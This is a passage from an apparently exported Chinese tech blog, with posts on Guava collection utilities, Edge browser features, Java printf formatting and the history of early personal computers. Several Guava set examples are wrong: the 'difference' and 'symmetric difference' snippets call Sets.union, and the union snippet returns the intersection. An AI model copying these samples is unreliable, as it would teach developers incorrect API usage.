类包含了一系列的静态方法，来操作或返回 Iterable 对象\n看几个常用的方法：\n方法 描述 concat(Iterable) 串联多个 iterables 的懒视图 frequency(Iterable, Object) 返回对象在 iterable 中出现的次数 partition(Iterable, int) 把 iterable 按指定大小分割，得到的子集都不能进行修改操作 getFirst(Iterable, T default) 返回 iterable 的第一个元素，若 iterable 为空则返回默认值 getLast(Iterable) 返回 iterable 的最后一个元素，若 iterable 为空则抛出 NoSuchElementException elementsEqual(Iterable, Iterable) 如果两个 iterable 中的所有元素相等且顺序一致，返回 true unmodifiableIterable(Iterable) 返回 iterable 的不可变视图 limit(Iterable, int) 最多返回指定数量的元素 getOnlyElement(Iterable) 获取 iterable 中唯一的元素，如果 iterable 为空或有多个元素，则快速失败 对于上面这些常用的方法，可能你觉得使用 JDK8 以后的 Stream 一行也都搞定了，是的，还是那句话，Guava 是个工具，尤其在 JDK8 之前用来增强 API 很好用，但工具不止一个，Java 也在发展，有些东西就变成可选项了，看你的需求和习惯使用。Guava 也有对应的流式风格的工具类，比如 FluentIterable\nLists 除了静态工厂方法和函数式编程方法，Lists为 List 类型的对象提供了若干工具方法。\n方法 描述 partition(List, int) 把 List 按指定大小分割 reverse(List) 返回给定 List 的反转视图。注：如果 List 是不可变的，考虑改用ImmutableList.reverse()。 1List countUp = Ints.asList(1, 2, 3, 4, 5); 2List countDown = Lists.reverse(theList); // {5, 4, 3, 2, 1} 3List\u0026lt;List\u0026gt; parts = Lists.partition(countUp, 2);//{{1,2}, {3,4}, {5}} Sets Sets工具类包含了若干好用的方法。\nSets 中 为我们提供了很多标准的集合运算（Set-Theoretic）方法。比如我们常用的集合的 “交、并、差集” 以及对称差集\n交集 1Set\u0026lt;String\u0026gt; wordsWithPrimeLength = ImmutableSet.of(\u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;); 2Set\u0026lt;String\u0026gt; primes = ImmutableSet.of(\u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;seven\u0026#34;); 3SetView\u0026lt;String\u0026gt; intersection = Sets.intersection(primes,wordsWithPrimeLength); 4// intersection 包含\u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;seven\u0026#34; 5return intersection.immutableCopy();//可以使用交集，但不可变拷贝的读取效率更高 并集 1Set\u0026lt;String\u0026gt; wordsWithPrimeLength = ImmutableSet.of(\u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;); 2Set\u0026lt;String\u0026gt; primes = ImmutableSet.of(\u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;seven\u0026#34;); 3SetView\u0026lt;String\u0026gt; union = Sets.union(primes,wordsWithPrimeLength); 4 5// union 包含 [two, three, five, seven, one, six, eight] 6return intersection.immutableCopy(); 差集 1Set\u0026lt;String\u0026gt; wordsWithPrimeLength = ImmutableSet.of(\u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;); 2Set\u0026lt;String\u0026gt; primes = ImmutableSet.of(\u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;seven\u0026#34;); 3SetView\u0026lt;String\u0026gt; difference = Sets.union(primes,wordsWithPrimeLength); 4 5// difference 包含 “five” 6return difference.immutableCopy(); 对称差集 1Set\u0026lt;String\u0026gt; wordsWithPrimeLength = ImmutableSet.of(\u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;); 2Set\u0026lt;String\u0026gt; primes = ImmutableSet.of(\u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;seven\u0026#34;); 3SetView\u0026lt;String\u0026gt; symmetricDifference = Sets.union(primes,wordsWithPrimeLength); 4 5// symmetricDifference 包含 [five, one, six, eight] 6return symmetricDifference.immutableCopy(); 注意返回的都是 SetView ，它可以：\n直接当作 Set 使用，因为 SetView 也实现了 Set 接口 用copyInto(Set)拷贝进另一个可变集合 用immutableCopy()对自己做不可变拷贝 笛卡儿积 方法 描述 cartesianProduct(List\u0026lt;Set\u0026gt;) 返回所有集合的笛卡儿积 powerSet(Set) 返回给定集合的所有子集 1Set\u0026lt;String\u0026gt; animals = ImmutableSet.of(\u0026#34;gerbil\u0026#34;, \u0026#34;hamster\u0026#34;); 2Set\u0026lt;String\u0026gt; fruits = ImmutableSet.of(\u0026#34;apple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;banana\u0026#34;); 3 4Set\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; product = Sets.cartesianProduct(animals, fruits); 5// {{\u0026#34;gerbil\u0026#34;, \u0026#34;apple\u0026#34;}, {\u0026#34;gerbil\u0026#34;, \u0026#34;orange\u0026#34;}, {\u0026#34;gerbil\u0026#34;, \u0026#34;banana\u0026#34;}, 6// {\u0026#34;hamster\u0026#34;, \u0026#34;apple\u0026#34;}, {\u0026#34;hamster\u0026#34;, \u0026#34;orange\u0026#34;}, {\u0026#34;hamster\u0026#34;, \u0026#34;banana\u0026#34;}} 7 8Set\u0026lt;Set\u0026lt;String\u0026gt;\u0026gt; animalSets = Sets.powerSet(animals); 9// {{}, {\u0026#34;gerbil\u0026#34;}, {\u0026#34;hamster\u0026#34;}, {\u0026#34;gerbil\u0026#34;, \u0026#34;hamster\u0026#34;}} Maps Maps 有若干很酷的方法。\nuniqueIndex 有一组对象，它们在某个属性上分别有独一无二的值，而我们希望能够按照这个属性值查找对象。\n比方说，我们有一堆字符串，这些字符串的长度都是独一无二的，而我们希望能够按照特定长度查找字符串：\n1ImmutableMap\u0026lt;Integer, String\u0026gt; stringsByIndex = Maps.uniqueIndex(strings, 2 new Function\u0026lt;String, Integer\u0026gt; () { 3 public Integer apply(String string) { 4 return string.length(); 5 } 6 }); 你可以想到了，我们常见的场景还有 把一个 List 的对象集合转成 Map，map 的 key 通常是对象的 ID。用 uniqueIndex 方法可以这样写：\n1 Map\u0026lt;Integer, Animal\u0026gt; map = Maps.uniqueIndex(list, Animal::getId); 或者你用 Java8 的 Stream 也一样：\n1 ArrayList\u0026lt;Animal\u0026gt; animals = Lists.newArrayList(new Animal(1L, \u0026#34;Dog\u0026#34;), new Animal(2L, \u0026#34;Cat\u0026#34;)); 2 //下面两种写法都可以 3 Map\u0026lt;Long, Animal\u0026gt; map = animals.stream().collect(Collectors.toMap(Animal::getId, Function.identity())); 4 Map\u0026lt;Long, Animal\u0026gt; map = animals.stream().collect(Collectors.toMap(Animal::getId, animal -\u0026gt; animal)); 注意：key 要是唯一的，否则会报错。\ndifference 找不同，对比两个 map，告诉你哪里不同\nMaps.difference(Map, Map)用来比较两个 Map 以获取所有不同点。该方法返回 MapDifference 对象\n下面是 MapDifference 的一些方法：\nentriesInCommon() 两个 Map 中都有的映射项，包括匹配的键与值 entriesDiffering() 键相同但是值不同值映射项。返回的 Map 的值类型为MapDifference.ValueDifference，以表示左右两个不同的值 entriesOnlyOnLeft() 键只存在于左边 Map 的映射项 entriesOnlyOnRight() 键只存在于右边 Map 的映射项 1Map\u0026lt;String, Integer\u0026gt; left = ImmutableMap.of(\u0026#34;a\u0026#34;, 1, \u0026#34;b\u0026#34;, 2, \u0026#34;c\u0026#34;, 3); 2Map\u0026lt;String, Integer\u0026gt; right = ImmutableMap.of(\u0026#34;b\u0026#34;, 2, \u0026#34;c\u0026#34;, 4, \u0026#34;d\u0026#34;, 5); 3MapDifference\u0026lt;String, Integer\u0026gt; diff = Maps.difference(left, right); 4 5diff.entriesInCommon(); // {\u0026#34;b\u0026#34; =\u0026gt; 2} 6diff.entriesDiffering(); // {\u0026#34;c\u0026#34; =\u0026gt; (3, 4)} 7diff.entriesOnlyOnLeft(); // {\u0026#34;a\u0026#34; =\u0026gt; 1} 8diff.entriesOnlyOnRight(); // {\u0026#34;d\u0026#34; =\u0026gt; 5} 看到这个你能想到什么？我举个场景：审计日志或操作日志，谁什么时间做了什么，数据从旧值变更为新值，这些要记录下来\n是不是可以用上面这个 Maps 的方法？适合不适合你自己决定，这里是提供个思路。\nMultiSets “\n下面要介绍的工具类都是新集合类型的工具类，比如 MultiSet 和 MultiMap 之类的，有关这些 Guava 的新集合类型，在之前的文章 《跟着 Guava 学 Java 之 新集合类型》 都有介绍，有不清楚的可以再翻回去看一看。\n”\n标准的 Collection 操作会忽略 Multiset 重复元素的个数，而只关心元素是否存在于 Multiset 中，如 containsAll 方法。为此，Multisets提供了若干方法，以顾及 Multiset 元素的重复性：\n方法 说明 **和 Collection **方法的区别 containsOccurrences(Multiset sup, Multiset sub) 对任意 o，如果 sub.count(o)\u0026lt;=super.count(o)，返回 true Collection.containsAll 忽略个数，而只关心 sub 的元素是否都在 super 中 removeOccurrences(Multiset removeFrom, Multiset toRemove) 对 toRemove 中的重复元素，仅在 removeFrom 中删除相同个数。 Collection.removeAll 移除所有出现在 toRemove 的元素 retainOccurrences(Multiset removeFrom, Multiset toRetain) 修改 removeFrom，以保证任意 o 都符合 removeFrom.count(o)\u0026lt;=toRetain.count(o) Collection.retainAll 保留所有出现在 toRetain 的元素 intersection(Multiset, Multiset) 返回两个 multiset 的交集； 没有类似方法 举例来说：\n1Multiset\u0026lt;String\u0026gt; multiset1 = HashMultiset.create(); 2multiset1.add(\u0026#34;a\u0026#34;, 2); 3 4Multiset\u0026lt;String\u0026gt; multiset2 = HashMultiset.create(); 5multiset2.add(\u0026#34;a\u0026#34;, 5); 6 7multiset1.containsAll(multiset2); //返回 true；因为包含了所有不重复元素， 8//虽然 multiset1 实际上包含 2 个\u0026#34;a\u0026#34;，而 multiset2 包含 5 个\u0026#34;a\u0026#34; 9Multisets.containsOccurrences(multiset1, multiset2); // returns false 10 11multiset2.removeOccurrences(multiset1); // multiset2 现在包含 3 个\u0026#34;a\u0026#34; 12multiset2.removeAll(multiset1);//multiset2 移除所有\u0026#34;a\u0026#34;，虽然 multiset1 只有 2 个\u0026#34;a\u0026#34; 13multiset2.isEmpty(); // returns true Multisets 中的其他工具方法还包括：\ncopyHighestCountFirst(Multiset) 返回 Multiset 的不可变拷贝，并将元素按重复出现的次数做降序排列 unmodifiableMultiset(Multiset) 返回 Multiset 的只读视图 unmodifiableSortedMultiset(SortedMultiset) 返回 SortedMultiset 的只读视图 1Multiset\u0026lt;String\u0026gt; multiset = HashMultiset.create(); 2multiset.add(\u0026#34;a\u0026#34;, 3); 3multiset.add(\u0026#34;b\u0026#34;, 5); 4multiset.add(\u0026#34;c\u0026#34;, 1); 5 6ImmutableMultiset highestCountFirst = Multisets.copyHighestCountFirst(multiset); 7//highestCountFirst，包括它的 entrySet 和 elementSet，按{\u0026#34;b\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;c\u0026#34;}排列元素 Multimaps index Multimaps 的 index 方法跟前面介绍的 Maps.uniqueIndex 方法是兄弟方法。与 uniqueIndex 方法相反，通常针对的场景是：有一组对象，它们有共同的特定属性，我们希望按照这个属性的值查询对象，但属性值不一定是独一无二的。比方说，我们想把字符串按长度分组：\n1ImmutableSet digits = ImmutableSet.of(\u0026#34;zero\u0026#34;, \u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;three\u0026#34;, \u0026#34;four\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;six\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;, \u0026#34;nine\u0026#34;); 2Function\u0026lt;String, Integer\u0026gt; lengthFunction = new Function\u0026lt;String, Integer\u0026gt;() { 3 public Integer apply(String string) { 4 return string.length(); 5 } 6}; 7 8ImmutableListMultimap\u0026lt;Integer, String\u0026gt; digitsByLength= Multimaps.index(digits, lengthFunction); 9/* 10* digitsByLength maps: 11* 3 =\u0026gt; {\u0026#34;one\u0026#34;, \u0026#34;two\u0026#34;, \u0026#34;six\u0026#34;} 12* 4 =\u0026gt; {\u0026#34;zero\u0026#34;, \u0026#34;four\u0026#34;, \u0026#34;five\u0026#34;, \u0026#34;nine\u0026#34;} 13* 5 =\u0026gt; {\u0026#34;three\u0026#34;, \u0026#34;seven\u0026#34;, \u0026#34;eight\u0026#34;} 14*/ invertFrom Multimap 可以把多个键映射到同一个值，也可以把一个键映射到多个值，反转 Multimap 也会很有用。Guava 提供了invertFrom(Multimap toInvert, Multimap dest)做这个操作，并且你可以自由选择反转后的 Multimap 实现。\n1ArrayListMultimap\u0026lt;String, Integer\u0026gt; multimap = ArrayListMultimap.create(); 2multimap.putAll(\u0026#34;b\u0026#34;, Ints.asList(2, 4, 6)); 3multimap.putAll(\u0026#34;a\u0026#34;, Ints.asList(4, 2, 1)); 4multimap.putAll(\u0026#34;c\u0026#34;, Ints.asList(2, 5, 3)); 5 6TreeMultimap\u0026lt;Integer, String\u0026gt; inverse = Multimaps.invertFrom(multimap, TreeMultimap\u0026lt;String, Integer\u0026gt;.create()); 7//注意我们选择的实现，因为选了 TreeMultimap，得到的反转结果是有序的 8/* 9* inverse maps: 10* 1 =\u0026gt; {\u0026#34;a\u0026#34;} 11* 2 =\u0026gt; {\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;} 12* 3 =\u0026gt; {\u0026#34;c\u0026#34;} 13* 4 =\u0026gt; {\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;} 14* 5 =\u0026gt; {\u0026#34;c\u0026#34;} 15* 6 =\u0026gt; {\u0026#34;b\u0026#34;} 16*/ forMap 想在 Map 对象上使用 Multimap 的方法吗？forMap(Map)把 Map 包装成 SetMultimap。这个方法特别有用，例如，与 Multimaps.invertFrom 结合使用，可以把多对一的 Map 反转为一对多的 Multimap。\n1Map\u0026lt;String, Integer\u0026gt; map = ImmutableMap.of(\u0026#34;a\u0026#34;, 1, \u0026#34;b\u0026#34;, 1, \u0026#34;c\u0026#34;, 2); 2SetMultimap\u0026lt;String, Integer\u0026gt; multimap = Multimaps.forMap(map); 3// multimap：[\u0026#34;a\u0026#34; =\u0026gt; {1}, \u0026#34;b\u0026#34; =\u0026gt; {1}, \u0026#34;c\u0026#34; =\u0026gt; {2}] 4Multimap\u0026lt;Integer, String\u0026gt; inverse = Multimaps.invertFrom(multimap, HashMultimap\u0026lt;Integer, String\u0026gt;.create()); 5// inverse：[1 =\u0026gt; {\u0026#34;a\u0026#34;,\u0026#34;b\u0026#34;}, 2 =\u0026gt; {\u0026#34;c\u0026#34;}] 参考 https://www.baeldung.com/java-list-to-map https://wizardforcel.gitbooks.io/guava-tutorial/content/11.html ","date":"2022-08-21T14:01:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-21-gen-zhe-guava-xue-java-zhi-ji-he-gong-ju-lei/cover.jpg","permalink":"/p/2022-08-21-gen-zhe-guava-xue-java-zhi-ji-he-gong-ju-lei/","title":"跟着 Guava 学 Java 之 集合工具类"},{"content":"\n新版的 Edge 浏览器基于 Chromium，这意味着对于 Chrome 的很多功能，Edge 也会如出一辙\nEdge 浏览器完全兼容 Chrome 的扩展程序，能够直接通过 Chrome 商店来安装扩展\nEdge 还有大量 Chrome 所不具备的出色功能！\n可以截整屏的网页 类似这种：这是我截取的全屏图，非常方便\n朗读网页 已经很像自然语音了\n搞笑地是，如果你选中文朗读者读英文，可以给你表演个 “中式英语”，简直太像了。当然也可以体验一下原味的美式、英式英语和魔性的印度英语 ，太好玩儿了。\n数学求解器 直接截图或者输入公式就能出答案\n引文 论文党的福音\n阅读模式 一些常规选项\n还有 NB 的语法 工具， 把不同词性用不同颜色标注，把单词给你按音节拆开，还要咋的。学英语太方便 了\n还有阅读偏好，简直了\n你也可以把任何网页强制进入阅读器模式，只需要在地址栏的网址前加上：read:// 即可\nPDF 打开 PDF 后可以直接在上面绘制，写字、画画\nPDF 的阅读体验也比 chrome 更好\n另外，朗读功能可能直接阅读 PDF 文件内容\nEdge 浏览器也是一个强大的 PDF 阅读器，甚至本机不需要再下载其他 PDF 软件，直接右击用 Edge 打开即可\n账户同步 其实 chrome 挺好的，但你知道正常情况我们用不了，这不是人家 google 的问题，如果你用科学手段搞定了那没问题，可还有广大不能用的小伙伴呢， Edge 的账户同步解决了这个问题，它能用！只要拥有微软账号，可以在任何设备上打开 Edge 同步你的收藏夹和书签了。\n原先在 chrome 中的插件在 Edge 照常用，更棒的是，原来 chrome 的插件商店打不开，用 Edge 商店是可以打开并找到相同的插件的。\n其他 比如：重复收藏夹自动删除功能，我们总会重复收藏一些网站，这个功能可以帮我们自动删除重复的收藏\nEdge 还有其他 一些实用功能大家可以自行挖掘\n彩蛋 在地址栏输入：edge://surf/\n","date":"2022-08-16T07:50:13Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-16-hai-zai-yong-chrome-edge-yi-cheng-wei-wo-de-zhu-li-liu-lan-q/cover.jpg","permalink":"/p/2022-08-16-hai-zai-yong-chrome-edge-yi-cheng-wei-wo-de-zhu-li-liu-lan-q/","title":"还在用 Chrome？ Edge 已成为我的主力浏览器"},{"content":"格式化输出 1System.out.printf(\u0026#34;hello world\u0026#34;); 作为多年的老 javaer , 你看到这儿可能会说，你要给我看这个，咱们的交情就到这儿了。\n大佬别误会，再看看，咱们还有好东西。\nprintf printf 准确来讲是 PrintStream 类的 printf 方法\n一种使用指定的格式字符串和参数将格式化字符串写入输出流的便捷方法。\n一般我们会把程序运行的一些中间过程或结果输出到控制台（console），利用 printf 方法可以方便地进行文本格式化\n这是方法声明，可以看到，它有两个参数：\nformat 格式字符串，如格式字符串语法（Format string syntax）中所述 args 要参数化的对象，这是个变长参数，意味着调用者可以传递多个参数进来 ，是 JDK5 加入的，本质上是个语法糖 1 2 System.out.printf(\u0026#34;%s %s %s\u0026#34;,\u0026#34;a\u0026#34;,\u0026#34;b\u0026#34;,\u0026#34;c\u0026#34;); 3 4 //输出 a b c Format string syntax 你可能注意到了，这个方法的关键就是第一个参数 format，就是这个格式字符串语法，说白了就是这个 format 字符串写成什么样，我们的输出就格式化成什么样。\n那这玩意到底有什么魔法，是什么规则？别急，我们先看下源码：\n通过源码得知，原来传入的 format 参数其实是给 formatter.format() 方法了。并且默认构造了一个国际化类 Locale，放着它不说，我们继续聊 格式化打印。\nJava 语言的格式化打印很大程度上受到 C 的 printf 的启发（请 C 大佬们把刀放下）\n尽管与 C 类似，但也进行了一些自定义以适应 Java 语言并利用某些功能\n此外，Java 格式比 C 更严格，如果转换与标志不兼容，则将引发异常，因此 Java 中的 printf 和 C 的不完全兼容。\nformat 是以百分号 (%) 开头的格式说明字符串，具体格式如下：\n1 %[argument_index$][flags][width][.precision]conversion 引用自 https://blog.csdn.net/jhsword/article/details/108574442\n可选的 argument_index 是十进制整数，表示参数列表中参数的位置。第一个参数由“ 1$ ”引用，第二个由“ 2$ ” 引用 ，等等。argument_index 必须紧跟%后面，并以$ 结束。\nnote: 参数索引值从 1 开始，而不是从 0 开始，%1$ 对第一个参数格式化。这就避免了与 0 标志混淆。\n可选 flags 指定格式化输出外观的各种标志。有效标志集取决于 conversion。\n可选 _width_是正十进制整数，表示要写入到输出的字符个数（注意对于浮点数：也包含小数点所占的 1 个字和 负数的负号所占的 1 个字符）。当实际字符数小于指定的宽度时，最前面用 flags 指定的标志填充（若未指定，默认用空格）\n可选 precision 是一个非负十进制整数，通常用于限制字符数。具体行为取决于转换。\nconversion （必需） 是一个字符，指示如何格式化参数。给定参数的有效转换集取决于参数的数据类型。\n一些例子 指定顺序 1System.out.printf(\u0026#34;%4$2s %3$2s %2$2s %1$2s\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;, \u0026#34;d\u0026#34;); 输出 d c b a，将我们输入的参数倒序输出了。解释一下：\n%4$ 代表输出第四个参数，后面以此类推 2s 代表在输出的字符前加两个空格，后面以此类推 %4$2s 和 %3$2s 中间的空格不加也行，加了是方便阅读，并没有实际意义 如果不指定顺序就是参数的默认顺序：\n1 System.out.printf(\u0026#34;%s %s %s %s\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;, \u0026#34;d\u0026#34;); 2 // -\u0026gt; \u0026#34;a b c d\u0026#34;); 复用 1System.out.printf(\u0026#34;%s %s %\u0026lt;s %\u0026lt;s\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;, \u0026#34;d\u0026#34;); 2// -\u0026gt; \u0026#34;a b b b\u0026#34;); \u0026lt; 代表利用前一个参数的内容\n大小写转换 1System.out.printf(\u0026#34;%S\u0026#34;, \u0026#34;hello\u0026#34;); // 输出 HELLO 注意，只能小写字母写大小字母\n指定宽度 指定字符宽度可以达到向左向右加空格的效果：\n1System.out.printf(\u0026#34;\u0026#39;%6s「」\u0026#34;, \u0026#34;hello\u0026#34;); //输出 \u0026#39; hello\u0026#39; 2System.out.printf(\u0026#34;\u0026#39;%-6s\u0026#39; %n\u0026#34;, \u0026#34;hello\u0026#34;); //输出 \u0026#39;hello \u0026#39; 指定精度 我们可以通过指定精度来限制输出中的字符数：\n1System.out.printf(\u0026#34;\u0026#39;%5.2s\u0026#39;\u0026#34;, \u0026#34;Hi there!\u0026#34;);//输出： \u0026#39; Hi\u0026#39; .2 就是限制后面参数的长度为 2 ， 5 是整个字符串的长度限制，同理 %10.8s 的意思就是输出参数中的前 8 个字符，前面再加两个空格。\n格式化数字 比如你想在多位数字中加个 千位分隔符\n1System.out.printf(\u0026#34;%,d %n\u0026#34;, 100000000); 2//输出 ：100,000,000 %n 表示换行 保留两位小数：\n1System.out.printf(\u0026#34;\u0026#39;%5.2f\u0026#39;%n\u0026#34;, 5.1473); 2//输出： \u0026#39; 5.15\u0026#39; 注意，它进位了\n保留两位小数也可以简单写：\n1System.out.format(\u0026#34;%.2f\u0026#34;, 5.22); 日期格式化 我们格式化一个最常用的日期，就是这种 yyyy-mm-dd:HH:mm:ss\n1System.out.printf(\u0026#34;%1$tY-%1$tm-%1$td:%1$tH:%1$tM:%1$tS %n\u0026#34;, Calendar.getInstance()); 2//输出：2022-08-14:22:49:48 生产实践 在非本地环境，一般我们不会把 debug 的输出打到 控制台，更多的时候会用 log 打印，比如 log.info()\n我们当然可以用 log 的占位符，但不够 NB 和强大：\n1 log.info(\u0026#34;{} , {}\u0026#34;,\u0026#34;hello\u0026#34;,\u0026#34;world\u0026#34;); 基于我们上面所介绍的，是可以把 format 和 log 结合起来用的，比如：\n1log.info(String.format(\u0026#34;%1$tY-%1$tm-%1$td:%1$tH:%1$tM:%1$tS %n\u0026#34;,Calendar.getInstance())); 2//输出：23:29:01.911 [main] INFO com.xiaobox.demo.FormatTest - 2022-08-14:23:29:01 这里我们用了 String 的 format 方法，它还是调用的 Formatter，和 printf 是一样的：\n最后 还有很多细节没讲到，不过看完本文你已经掌握了精髓了，更多细节只要查文档就可以了，比如下面的官方文档：\nhttps://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html\n参考 https://blog.csdn.net/jhsword/article/details/108574442 https://www.baeldung.com/java-printstream-printf https://blog.csdn.net/jhsword/article/details/108574442 https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html https://www.runoob.com/w3cnote/java-printf-formate-demo.html ","date":"2022-08-14T16:04:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-14-zhe-me-duo-nian-java-bai-xue-le-yuan-lai-wo-lian-ge-printf-d/cover.jpg","permalink":"/p/2022-08-14-zhe-me-duo-nian-java-bai-xue-le-yuan-lai-wo-lian-ge-printf-d/","title":"这么多年 Java 白学了，原来我连个 printf 都不会"},{"content":"背景 个人计算机作为大众市场消费电子设备的历史始于 1970 年代的微型计算机革命。\n早期的个人计算机——通常称为微型计算机——通常以电子套件的形式出售，数量有限，主要是业余爱好者和技术人员感兴趣的。\n那么世界上第一台个人计算机 （personal computer , 简称 PC ）是哪一台呢？\n来看看搜索引擎的答案\n呵呵，这一会儿我就看到三个答案了，到底是哪一台啊 😱\n另外 奥托是什么鬼？\n历史 带着上面的问题，我顺着维基百科回顾了一下历史。\n为了方便找到答案我们挑重点说。既然 PC 作为大众消费商品始于 70 年代，我们就从 70 年代开始。\nDatapoint 2200 1970 年 6 月发布的名为 Datapoint 2200 的可编程终端是已知最早的设备之一，它与现代个人计算机有很大的相似之处\nKenbak-1 Kenbak-1 于 1971 年初发布，被计算机历史博物馆认为是世界上第一台个人计算机。\nKenbak-1 由小型集成电路制成，没有使用微处理器。该系统最初售价为 750 美元。仅制造和销售了大约 40 台机器。1973 年，随着 Kenbak 公司的倒闭，Kenbak-1 的生产停止了。\nIBM SCAMP 1972 年末 IBM 科学中心开发了一种产品 SCAMP\nSCAMP 是 Special Computer APL Machine Portable 的缩写，是一种便携式计算机。有的说它是 IBM 的第一台 personal computer\n由于它是第一台在便携式单用户计算机上模拟 APL1130 性能的公司，PC 杂志于 1983 年将 SCAMP 指定为“革命性概念”和“世界上第一台个人计算机”\nSCAMP 设计为便携式，可折叠成手提箱状的框架。上半部分，包括显示器，在使用时会弹出。框架是巧克力棕色，盖子和上部是杏仁白。\nMicral 1973 年，法国公司 Réalisation d\u0026rsquo;Études Électroniques (R2E) 生产了 第一台基于微处理器的商用计算机 Micral\n1986 年，波士顿计算机博物馆的三位评委授予 Micral “第一台使用微处理器的个人计算机”\nXerox Alto 1973 年在 Xerox PARC 开发了一款计算机 名为 Xerox Alto ，对就是上面百度显示的那个“奥托”，它是第一台使用鼠标、桌面隐喻和图形用户界面 (GUI) 的计算机。施乐公司对硬软件的设计后来启发了 史蒂夫·乔布斯和 比尔·盖茨。\n是不是感觉和我们今天用的 PC 已经比较接近了？因为这老家伙可以说就像后面那些子孙后代的原型（注意，这个原型是指软件和外设部分，底下那个大大的底箱可不能算是原型）\nAltair 8800 1975 年 MITS 的 Altair 8800 问世了，MITS 是一家为业余爱好者生产电子套件的小公司。\n它整体就长这个样子，就这样，没有别的了，Altair 被广泛认为是点燃微机革命的火花，是第一台商业上成功的个人电脑，当时售价仅 400 多美元，你是不觉得这也不便宜呀，那是因为没有对比，Altair 比下面要介绍的那个同一年出的 IBM 5100 可便宜多了，因为它卖 9000 到 20000 美元。\n为 Altair 设计的计算机总线以 S-100 总线的形式成为事实上的标准，你看它的样子是不是跟我们现在熟悉的电脑机箱很像了？\n此外 ，Altair 作为第一个雇佣比尔盖茨和保罗艾伦的雇主，对于微软的进步起到了至关重要的作用。\nIBM 5100 1975 年 9 月 IBM 推出了便携式计算机 IBM 500，比 IBM 个人计算机早六年。官方给它的定义是 便携式计算机— portable computer, 不是 personal computer。IBM SCAMP 是它的爷爷。\n它有一块很小的屏幕，还需要用磁带，对就是磁带你没看错\n长这个样子：\n1977 三雄 1977 年是个人电脑领域的大年，那是一个美好的年代，下面这 3 台机器一起被称为“1977 年三雄”\n它们分别是：Commodore 公司的 Commodore PET、 苹果公司的 APPLE II、 Tandy Radio Shack 的 TRS-80 Model II\n不知道为什么，看着这些老古董却感觉比现在的电脑更有机械和科技结合的美感。\nIBM 5150 1981 年 8 月 12 日 IBM 公司推出了 IBM 5150\nIBM 的品牌知名度以及大规模的营销活动，通过发布自己的个人电脑 (PC) 点燃了个人电脑市场的快速增长。第一台 IBM PC，正式名称为 IBM 5150 型， IBM PC 成为第一台被业界广泛采用的 PC，从而彻底改变了商业计算。\n对了，那个屏幕特别结实，一锤子都不一定能砸碎（别问我是怎么知道的🤦）\n答案 当梳理完 PC 的历史时，我有个深深的感触，70 年代真是 PC 发展的大时代，各种新设备层出不穷，基本上奠定了后来的发展方向，那个时代的工程师们一定很兴奋也充满着热情。\n那么答案是什么呢？到底哪台机器 是世界上第一台个人计算机呢？\n我觉得这个问题确实不好回答，因为它可以从不同的角度来回答，上面罗列的机器中任何一个都很有特点，都在某一个特点上有着世界第一的开创。\n如果从历史的角度 ，计算机历史博物馆给出的答案是 Kenbak-1 如果从大众对现代 PC 的认知以及商业上的成功的角度，那么应该是 IBM 5150 如果从第一个使用微处理的角度，那么应该是 Micral 如果从用户界面的角度，那么应该是 Xerox Alto 总之，见仁见智。你可能注意到了，PC 的发展有一个比较清晰的过程，每一个公司都在部分的模块或组件上有出色的成果，然后随着发展的延续，将这些优秀的部分集成到一起，就变成了我们今天看到的 PC 的样子，从这个角度讲，我个人更倾向于 IBM 5150\n最后 本文发布的日期是 8 月 12 日 正是 41 年前 IBM 5150 发布的日子， 诗史可明鉴，知古可鉴今。如今，个人电脑领域可谓百家争鸣，不止老牌的 PC 公司如 苹果、HP、DELL ，我国的 华为、小米、联想也成为了具有强劲竞争力的企业。未来的 PC 会是什么样子，又会给我们的生活带来什么改变，让我们拭目以待！\n","date":"2022-08-11T23:30:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-11-shi-jie-shang-di-yi-tai-ge-ren-dian-nao-shi-na-tai/cover.jpg","permalink":"/p/2022-08-11-shi-jie-shang-di-yi-tai-ge-ren-dian-nao-shi-na-tai/","title":"世界上第一台个人电脑是哪台？"},{"content":"Guava 引入了很多 JDK 没有的、但明显有用的新集合类型。\n这些新类型是为了和 JDK 集合框架共存，而没有往 JDK 集合抽象中硬塞其他概念。\n作为一般规则，Guava 集合非常精准地遵循了 JDK 接口契约。\nMultiset 